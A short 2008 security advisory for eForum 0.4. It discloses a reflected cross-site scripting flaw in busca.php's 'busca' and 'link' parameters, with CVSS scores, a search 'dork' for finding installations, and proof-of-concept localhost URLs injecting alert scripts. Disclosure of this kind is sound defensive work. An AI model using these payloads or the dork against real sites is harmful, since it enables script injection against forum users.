eForum 0.4 XSS

2008.03.25
Risk: Low
Local: No
Remote: Yes
CWE: CWE-79


CVSS Base Score: 4.3/10
Impact Subscore: 2.9/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: None
Integrity impact: Partial
Availability impact: None

eForum v0.4 - NON-PERSISTENT XSS by Omni 1) Infos --------- Date : 2008-03-05 Product : eForum Version : v 0.4 Vendor : http://www.phpbrasil.com/scripts/script.php/id/169 Vendor Status : 2008-03-18 Not Informed! 2008-03-18 Published! Description : eForum is an easy-to-install discussion board that doesn't require any database. Features include admin area to delete topics with session authentication, a search system (more stable this version), configurable layout using css file. Moderator can be notified of new posts on the forum. It has threaded view. Ubbcode-style supported. Multiple languages supported: Portuguese, English, German and Danish. UPDATE 0.4: post preview, better ubbcode support, better javascript, other small changes, some bugs fixed, italian and turkish translations. Dork : Powered by .. could be used. Source : omnipresent - omni - http://omni.playhack.org E-mail : omnipresent[at]NOSPAMemail[dot]it - omni[at]NOSPAMplayhack[dot]net 2) Security Issues ------------------- --- [ NON-PERSISTENT XSS ] --- =============================================== Input passed to "busca" and "link" parameters in busca.php are not properly sanitized before being returned to the user's browser. This can be exploited to execute arbitrary HTML/script code. --- [ PoC ] --- =============== http://localhost/eForum/busca.php use the input box and search what you want. (js) http://localhost/eForum/busca.php?link=%3Cscript%3Ealert(1)%3C/script%3E &busca=%3Cscript%3Ealert(2)%3C/script%3E http://localhost/eForum/busca.php?link=%3Cscript%3Ealert(1)%3C/script%3E --- [ Patch ] --- =============== - Edit the source code.


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